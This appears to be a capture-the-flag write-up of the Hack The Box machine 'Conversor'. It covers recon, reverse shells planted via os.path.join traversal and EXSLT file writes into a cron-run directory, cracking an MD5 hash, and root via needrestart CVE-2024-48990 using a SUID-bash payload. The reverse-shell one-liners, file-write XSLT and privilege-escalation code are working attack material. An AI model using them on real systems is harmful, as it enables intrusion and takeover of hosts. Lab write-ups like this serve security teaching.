HTB: Conversor
Conversor is a Linux box hosting a Flask web application that converts nmap XML output to HTML using XSLT. I’ll find the source code and exploit insecure use of os.path.join to write a Python reverse shell into a cron-executed scripts directory, or alternatively abuse XSLT’s exslt:document extension to write files to the server. From there, I’ll find an MD5-hashed password in the SQLite database and crack it to pivot to the next user. For root, I’ll exploit CVE-2024-48990 in needrestart by poisoning the PYTHONPATH environment variable, or abuse needrestart’s Perl config file to get direct code execution.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.238.31
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-07 21:38 UTC
...[snip]...
Nmap scan report for 10.129.238.31
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-03-07 21:38:39 UTC for 10s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds
Raw packets sent: 97133 (4.274MB) | Rcvd: 65632 (2.626MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.238.31
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-07 21:39 UTC
Nmap scan report for 10.129.238.31
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).
Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
There’s a redirect to conversor.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently, but not find any. I’ll update my hosts file:
10.129.238.31 conversor.htb
I’ll rescan port 80 with the hostname, but not find anything interesting.
Website - TCP 80
Site
Visiting the site just redirects to /login:
The link to “Register” goes to /register:
After logging in, the page at / is a form to convert nmap output to a nicer format:
The template available for download downloads as nmap.xslt:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<html>
<head>
<title>Nmap Scan Results</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(120deg, #141E30, #243B55);
color: #eee;
margin: 0;
padding: 0;
}
h1, h2, h3 {
text-align: center;
font-weight: 300;
}
.card {
background: rgba(255, 255, 255, 0.05);
margin: 30px auto;
padding: 20px;
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0,0,0,0.5);
width: 80%;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 15px;
}
th, td {
padding: 10px;
text-align: center;
}
th {
background: rgba(255,255,255,0.1);
color: #ffcc70;
font-weight: 600;
border-bottom: 2px solid rgba(255,255,255,0.2);
}
tr:nth-child(even) {
background: rgba(255,255,255,0.03);
}
tr:hover {
background: rgba(255,255,255,0.1);
}
.open {
color: #00ff99;
font-weight: bold;
}
.closed {
color: #ff5555;
font-weight: bold;
}
.host-header {
font-size: 20px;
margin-bottom: 10px;
color: #ffd369;
}
.ip {
font-weight: bold;
color: #00d4ff;
}
</style>
</head>
<body>
<h1>Nmap Scan Report</h1>
<h3><xsl:value-of select="nmaprun/@args"/></h3>
<xsl:for-each select="nmaprun/host">
<div class="card">
<div class="host-header">
Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
<xsl:if test="hostnames/hostname/@name">
(<xsl:value-of select="hostnames/hostname/@name"/>)
</xsl:if>
</div>
<table>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Service</th>
<th>State</th>
</tr>
<xsl:for-each select="ports/port">
<tr>
<td><xsl:value-of select="@portid"/></td>
<td><xsl:value-of select="@protocol"/></td>
<td><xsl:value-of select="service/@name"/></td>
<td>
<xsl:attribute name="class">
<xsl:value-of select="state/@state"/>
</xsl:attribute>
<xsl:value-of select="state/@state"/>
</td>
</tr>
</xsl:for-each>
</table>
</div>
</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
It’s a template to build a webpage from some given XML. I’ll re-run nmap with -oX nmap.xml to create an nmap.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.94SVN scan initiated Sat Mar 7 21:52:53 2026 as: nmap -p 22,80 -sCV -oX nmap.xml conversor.htb -->
<nmaprun scanner="nmap" args="nmap -p 22,80 -sCV -oX nmap.xml conversor.htb" start="1772920373" startstr="Sat Mar 7 21:52:53 2026" version="7.94SVN" xmloutputversion="1.05">
<scaninfo type="syn" protocol="tcp" numservices="2" services="22,80"/>
<verbose level="0"/>
<debugging level="0"/>
<hosthint><status state="up" reason="unknown-response" reason_ttl="0"/>
<address addr="10.129.238.31" addrtype="ipv4"/>
<hostnames>
<hostname name="conversor.htb" type="user"/>
</hostnames>
</hosthint>
<host starttime="1772920373" endtime="1772920381"><status state="up" reason="echo-reply" reason_ttl="63"/>
<address addr="10.129.238.31" addrtype="ipv4"/>
<hostnames>
<hostname name="conversor.htb" type="user"/>
</hostnames>
<ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="ssh" product="OpenSSH" version="8.9p1 Ubuntu 3ubuntu0.13" extrainfo="Ubuntu Linux; protocol 2.0" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:openbsd:openssh:8.9p1</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service><script id="ssh-hostkey" output="
 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)"><table>
<elem key="key">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9JqBn+xSQHg4I+jiEo+FiiRUhIRrVFyvZWz1pynUb/txOEximgV3lqjMSYxeV/9hieOFZewt/ACQbPhbR/oaE=</elem>
<elem key="bits">256</elem>
<elem key="fingerprint">0174263947bc6ae2cb128b71849cf85a</elem>
<elem key="type">ecdsa-sha2-nistp256</elem>
</table>
<table>
<elem key="key">AAAAC3NzaC1lZDI1NTE5AAAAIIR1sFcTPihpLp0OemLScFRf8nSrybmPGzOs83oKikw+</elem>
<elem key="bits">256</elem>
<elem key="fingerprint">3a1690dc74d8e3c45136e208062617ee</elem>
<elem key="type">ssh-ed25519</elem>
</table>
</script></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="http" product="Apache httpd" version="2.4.52" hostname="conversor.htb" method="probed" conf="10"><cpe>cpe:/a:apache:http_server:2.4.52</cpe></service><script id="http-title" output="Login
Requested resource was /login"><elem key="title">Login</elem>
<elem key="redirect_url">/login</elem>
</script><script id="http-server-header" output="Apache/2.4.52 (Ubuntu)"><elem>Apache/2.4.52 (Ubuntu)</elem>
</script></port>
</ports>
<times srtt="21553" rttvar="12253" to="100000"/>
</host>
<runstats><finished time="1772920381" timestr="Sat Mar 7 21:53:01 2026" summary="Nmap done at Sat Mar 7 21:53:01 2026; 1 IP address (1 host up) scanned in 8.39 seconds" elapsed="8.39" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>
If I upload the scan XML and the example XSLT, it shows up in “Your Uploaded Files”:
Clicking on it makes a nice page:
There’s also an About page in the menu, which leads to /about:
I’ll note the potential usernames. The source downloads as source_code.tar.gz.
Tech Stack
The HTTP response headers don’t show anything particularly interesting besides Apache:
HTTP/1.1 302 FOUND
Date: Sat, 07 Mar 2026 21:47:22 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 199
Location: /login
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
I’m not able to guess any extensions on the various paths. The 404 page is the default Flask 404:
This is likely a Python Flask application. I’ll skip doing a directory brute force as I have the source code.
Source Code
Overview
I’ll create a src directory and unpack the archive into it:
oxdf@hacky$ mkdir src
oxdf@hacky$ tar xf source_code.tar.gz -C src/
oxdf@hacky$ ls src/
app.py app.wsgi install.md instance scripts static templates uploads
The file structure looks like:
instance has the database as a SQLite file:
oxdf@hacky$ ls instance/
users.db
It has files and users tables, but both are empty.
scripts and uploads are empty.
static has the CSS, images, and the downloadable example .xslt:
oxdf@hacky$ find static/ -type f
static/style.css
static/nmap.xslt
static/images/arturo.png
static/images/david.png
static/images/fismathack.png
templates has the templates for the pages I’ve seen:
oxdf@hacky$ ls templates/
about.html base.html index.html login.html register.html result.html
install.md has instructions for setting up a local copy of the site (weirdly not in markdown):
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
This leaks that the server is running all Python files in /var/www/conversor.htb/scripts every minute!
app.py
app.py is a single-file Flask application with some setup, two helper DB functions, and seven routes defined:
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid
app = Flask(__name__)
app.secret_key = 'Changemeplease'
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def init_db():
...[snip]...
init_db()
def get_db():
...[snip]...
@app.route('/')
def index():
...[snip]...
@app.route('/register', methods=['GET','POST'])
def register():
...[snip]...
@app.route('/logout')
def logout():
...[snip]...
@app.route('/about')
def about():
...[snip]...
@app.route('/login', methods=['GET','POST'])
def login():
...[snip]...
@app.route('/convert', methods=['POST'])
def convert():
...[snip]...
@app.route('/view/<file_id>')
def view_file(file_id):
...[snip]...
The most interesting endpoint is /convert, which takes a POST request with an XML file and a XSLT:
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
There are a few interesting things in here to dig into further. Flask is using os.path.join, so I’ll want to look for directory traversal vulnerabilities. XML / XSLT parsing is also risky and something I’ll explore.
Shell as www-data
XSLT Enumeration
PayloadsAllTheThings has a page on XSLT injection. The first section is on how to enumerate the vendor and version of the XSLT processor:
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
When I upload that (with any XML), it shows the XSLT processor is libxslt version 1.0:
File read - Fail
In the code, creating the XML parser with resolve_entities=False means that won’t be vulnerable to an XXE attack:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
However, that parser is not used in the XSLT parsing:
xslt_tree = etree.parse(xslt_path)
This means that entities and external references in the XSLT file will be resolved with default (permissive) settings, which in theory should allow reading files. I’ll try first via XXE:
<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body><pre>&content;</pre></body></html>
</xsl:template>
</xsl:stylesheet>
When I submit that, it errors out:
I’ll try via the document function as well:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<pre>
<xsl:copy-of select="document('/etc/passwd')"/>
</pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Uploading this fails differently:
This is libxslt saying that it can’t parse an XML file. In fact, if /etc/passwd were XML, it would display it here. Other XSLT parsers may be able to handle this.
File Write
Overview
I’ll abuse two ways to get arbitrary write as the web user:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Website]-->B(<a href='#via-ospathjoin'>Abuse os.path.join</a>);
B-->C(File Write)
C-->D[Shell as www-data];
A-->E(<a href='#via-xslt-abuse'>XSLT Abuse</a>);
E-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Via os.path.join
Both the XML and the XLST file are saved insecurely. I’ve abused os.path.join many times before (see OpenSource, OnlyForYou, Yummy, Titanic). The created HTML is saved safely because it randomly generates a name at creation time:
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
However, both the uploaded files are saved using user controlled names:
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
The thing that’s unsafe about os.path.join is that it:
- Has no problem with
../so will allow directory traversals if the input is not filtered. - If any argument passed in starts with
/, all the others before it are ignored.
I’ll send the upload request to Burp Repeater and change both the files:
I’ve updated the filenames, showing the first with a full path, and the second with a relative. Both have reverse shells calling back to different ports. On sending the request fails:
It’s failing because the files aren’t XML, but the damage is already done. The files were saved to disk before the XML parsing step, and the cron job will execute them within a minute. I’ll get a connection on 443 first (xml_file):
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.31 38090
bash: cannot set terminal process group (3027): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$
As soon as I exit that shell, I get one on 445 (xslt_file):
oxdf@hacky$ nc -lnvp 445
Listening on 0.0.0.0 445
Connection received on 10.129.238.31 42700
bash: cannot set terminal process group (3027): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$
The cron job from install.md processes the scripts synchronously with a for loop, waiting for the first to end before running the second.
For either shell, I’ll upgrade using the standard trick:
www-data@conversor:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@conversor:~$ ^Z
[1]+ Stopped nc -lnvp 445
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 445
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@conversor:~$
Both files are in the scripts directory:
www-data@conversor:~/conversor.htb/scripts$ ls
0xdf2.py 0xdf.py cleanup_uploads.py
Via XSLT Abuse
The EXSLT extensions include a document element that allows an XSLT stylesheet to write its output to a file at a given path, and libxslt supports it. To check for successful writing, I’ll first try to write to the static directory on the server, as those files are served directly:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/static/test.txt" method="text">0xdf was here!</exploit:document>
</xsl:template>
</xsl:stylesheet>
I’ll try to access it directly:
oxdf@hacky$ curl http://conversor.htb/static/test.txt
0xdf was here!
I’ll update this to look like the Python script I want to write:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/static/test.py" method="text">
import os
os.system('bash -c "bash -i >%26 /dev/tcp/10.10.14.61/443 0>%261"')
</exploit:document>
</xsl:template>
</xsl:stylesheet>
URL-encoding the & doesn’t work since this is XML, not a URL. The %26 is written literally:
oxdf@hacky$ curl http://conversor.htb/static/test.py
import os
os.system('bash -c "bash -i >%26 /dev/tcp/10.10.14.61/443 0>%261"')
Since XSLT is XML, XML entity encoding (&amp;) works. I’ll move this write into the scripts directory:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.61/443 0>&1"')
</exploit:document>
</xsl:template>
</xsl:stylesheet>
After submitting this, after less than a minute, there’s a connection at nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.31 43046
bash: cannot set terminal process group (29076): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$
Shell as fismathack
Enumeration
Users
There’s one user with a home directory in /home:
www-data@conversor:/home$ ls
fismathack
www-data has no access. This user matches the list of users with shells configured in passwd:
www-data@conversor:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash
Web
The website is run from /var/www/conversor.htb:
www-data@conversor:~/conversor.htb$ ls
app.py app.wsgi instance __pycache__ scripts static templates uploads
It looks just like the download. I’ll open the database:
www-data@conversor:~/conversor.htb$ sqlite3 instance/users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files users
It has the same tables as the empty one I downloaded. There are two users (one of which I created):
sqlite> select * from users;
id|username|password
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|0xdf|465e929fc1e0853025faad58fc8cb47d
SSH
Crack Hash
The source shows that the site saves passwords as MD5 hashes:
@app.route('/register', methods=['GET','POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
I’ll send the fismathack user’s password to CrackStation:
su / SSH
The password works for the fismathack user on Conversor with su:
www-data@conversor:~$ su - fismathack
Password:
fismathack@conversor:~$
It also works over SSH:
oxdf@hacky$ sshpass -p Keepmesafeandwarm ssh fismathack@conversor.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-160-generic x86_64)
...[snip]...
fismathack@conversor:~$
I’ll grab user.txt:
fismathack@conversor:~$ cat user.txt
01ffa4cb************************
Shell as root
Enumeration
fismathack can run needrestart as any user without a password using sudo:
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
This is a Perl script:
fismathack@conversor:~$ ls -l /usr/sbin/needrestart
-rwxr-xr-x 1 root root 43578 Jul 31 2025 /usr/sbin/needrestart
fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable
It’s version 3.7 from this open-source project:
fismathack@conversor:~$ sudo /usr/sbin/needrestart --version 2>&1
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
needrestart is a utility commonly found on Ubuntu systems that checks which services need restarting after package upgrades. It works by scanning running processes through /proc to identify those still using outdated shared libraries. As part of this scanning, needrestart executes interpreter binaries (Python, Ruby, etc.) found in process memory maps to determine module dependencies.
Privesc
Identify CVEs
Searching for “needrestart 3.7 cve” returns a bunch of CVE references, most of which are CVE-2024-48990:
| CVE | Issue |
|---|---|
| CVE-2024-48990 | Abuse PYTHONPATH |
| CVE-2024-48992 | Abuse RUBYLIB (not shown, but very similar to CVE-2024-48990) |
| CVE-2024-10224 / CVE-2024-11003 | Abuse needrestart use of a vulnerable version of Perls ScanDeps, which is patched on Conversor. |
| CVE-2024-48991 | TOCTOU (not shown, more complex) |
There’s also a GTFObin in the config file.
There are actually several CVEs here that independently work. I’ll show CVE-2024-48990 two ways as well as the GTFObin:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as fismathack]-->B(<a href='#cve-2024-48990-w-c'>CVE-2024-48990\nwith C</a>);
B-->C[Shell as root];
A-->E(<a href='#cve-2024-48990-w-python'>CVE-2024-48990\nwith Python</a>)
E-->C;
A-->D(<a href='#gtfobin'>Config GTFObin</a>);
D-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,4,5,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
CVE-2024-48990 w/ C
NIST describes CVE-2024-48990 as:
Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.
When needrestart runs Python, it uses the PYTHONPATH variable from the scanned process’ environment. This means that an attacker who controls a running process can set the PYTHONPATH and there are many ways to exploit that to get execution.
Most of the POCs involve creating a malicious importlib and putting an __init__.so that gets loaded. There’s a much easier way I’ll show in the next section. Either way, rather than use one of the POCs, I’ll just walk through the steps.
The POCs all start with a shared object. gcc isn’t installed on Conversor, so I’ll write one on my host:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn() {
if(geteuid() == 0) {
system("cp /bin/bash /tmp/48990/bash && chmod 6777 /tmp/48990/bash");
}
}
If it’s run as root, it will create a SetUID / SetGID copy of bash. I’ll compile this with gcc -shared -fPIC -o __init__.so setuid.c and host it via a Python webserver.
On Conversor, I’ll create a directory for my malicious module and upload the module:
fismathack@conversor:~$ mkdir -p /tmp/48990/importlib
fismathack@conversor:~$ wget 10.10.14.61/__init__.so -O /tmp/48990/importlib/__init__.so
--2026-03-09 13:08:45-- http://10.10.14.61/__init__.so
Connecting to 10.10.14.61:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15600 (15K) [application/octet-stream]
Saving to: ‘/tmp/48990/importlib/__init__.so’
/tmp/48990/importlib/__init__.so 100%[============================================================>] 15.23K --.-KB/s in 0.02s
2026-03-09 13:08:45 (735 KB/s) - ‘/tmp/48990/importlib/__init__.so’ saved [15600/15600]
When Python tries to load importlib and that directory is in the PYTHONPATH, it will load __init__.so.
I need a long running Python process that needrestart can find. I’ll create a simple script:
import time
from pathlib import Path
while True:
if Path("/tmp/48990/bash").exists():
print("Exploit worked!")
break
time.sleep(1)
I’ll run this, giving it a PYTHONPATH of this directory:
fismathack@conversor:/tmp/48990$ PYTHONPATH=/tmp/48990 python3 run.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line)
File "<string>", line 1, in <module>
ImportError: dynamic module does not define module export function (PyInit_importlib)
Remainder of file ignored
It prints an error and hangs. That error is because my library isn’t set up how Python expects it. That doesn’t matter here, as the constructor is still called (and in this case since it’s running as a non-root account does nothing).
While the Python process is running, I’ll use another SSH terminal to run needrestart:
fismathack@conversor:~$ sudo needrestart
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
In the other window, the script exits and the SetUID / SetGID bash is there:
Remainder of file ignored
Exploit worked!
fismathack@conversor:/tmp/48990$
fismathack@conversor:/tmp/48990$ ls -l bash
-rwsrwsrwx 1 root root 1396520 Mar 9 13:17 bash
-p will prevent bash from dropping privs:
fismathack@conversor:/tmp/48990$ ./bash -p
bash-5.1#
And I’ll grab the flag:
bash-5.1# cat /root/root.txt
7450d9c6************************
CVE-2024-48990 w/ Python
Just like above, but I don’t need to create a shared library. The __init__ can also be in Python as a .py file. My run.py looks like (same as above, but a different path):
import time
from pathlib import Path
while True:
if Path("/tmp/0xdf").exists():
print("Exploit worked!")
break
time.sleep(1)
My importlib/__init__.py is:
import os
if os.geteuid() == 0:
os.system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf")
This time I’m working out of /dev/shm:
fismathack@conversor:/dev/shm$ PYTHONPATH=/dev/shm python3 run.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line)
File "<string>", line 1, in <module>
ModuleNotFoundError: No module named 'importlib.util'
Remainder of file ignored
run.py throws some errors and then hangs (in the while loop).
Now I’ll run sudo needrestart in another terminal. The exploit completes:
fismathack@conversor:/dev/shm$ PYTHONPATH=/dev/shm python3 run.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line)
File "<string>", line 1, in <module>
ModuleNotFoundError: No module named 'importlib.util'
Remainder of file ignored
Exploit worked!
And the shell is there:
fismathack@conversor:/dev/shm$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1396520 Mar 7 22:42 /tmp/0xdf
GTFOBin
It wasn’t on GTFObins when Conversor released, but there’s a simple way to take sudo needrestart to execution of arbitrary Perl as root.
needrestart’s help shows a bunch of options:
fismathack@conversor:~$ sudo needrestart --help
...[snip]...
Usage:
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-v be more verbose
-q be quiet
-m <mode> set detail level
e (e)asy mode
a (a)dvanced mode
-n set default answer to 'no'
-c <cfg> config filename
-r <mode> set restart mode
l (l)ist only
i (i)nteractive restart
a (a)utomatically restart
-b enable batch mode
-p enable nagios plugin mode
-o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
-f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
-t <seconds> tolerate interpreter process start times within this value
-u <ui> use preferred UI package (-u ? shows available packages)
By using the following options only the specified checks are performed:
-k check for obsolete kernel
-l check for obsolete libraries
-w check for obsolete CPU microcode
--help show this help
--version show version information
-c <cfg> allows for passing a custom config. The default is stored in /etc/needrestart/needrestart.conf:
# needrestart - Restart daemons after library updates.
#
# This is the configuration file of needrestart. This is perl syntax.
# needrestart uses reasonable default values, you might not need to
# change anything.
#
# Verbosity:
# 0 => quiet
# 1 => normal (default)
# 2 => verbose
#$nrconf{verbosity} = 2;
# Path of the package manager hook scripts.
#$nrconf{hook_d} = '/etc/needrestart/hook.d';
# Path of user notification scripts.
#$nrconf{notify_d} = '/etc/needrestart/notify.d';
# Path of restart scripts.
#$nrconf{restart_d} = '/etc/needrestart/restart.d';
# Disable sending notifications to user sessions running obsolete binaries
# using scripts from $nrconf{notify_d}.
#$nrconf{sendnotify} = 0;
# If needrestart detects systemd it assumes that you use systemd's pam module.
# This allows needrestart to easily detect user session. In case you use
# systemd *without* pam_systemd.so you should set has_pam_systemd to false
# to enable legacy session detection!
#$nrconf{has_pam_systemd} = 0;
# Restart mode: (l)ist only, (i)nteractive or (a)utomatically.
#
# ATTENTION: If needrestart is configured to run in interactive mode but is run
# non-interactive (i.e. unattended-upgrades) it will fallback to list only mode.
#
#$nrconf{restart} = 'i';
# Use preferred UI package.
#$nrconf{ui} = 'NeedRestart::UI::stdio';
# Change default answer to 'no' in (i)nteractive mode.
#$nrconf{defno} = 1;
# Set UI mode to (e)asy or (a)dvanced.
#$nrconf{ui_mode} = 'e';
# Print a combined `systemctl restart` command line for skipped services.
#$nrconf{systemctl_combine} = 1;
# Blacklist binaries (list of regex).
$nrconf{blacklist} = [
# ignore sudo (not a daemon)
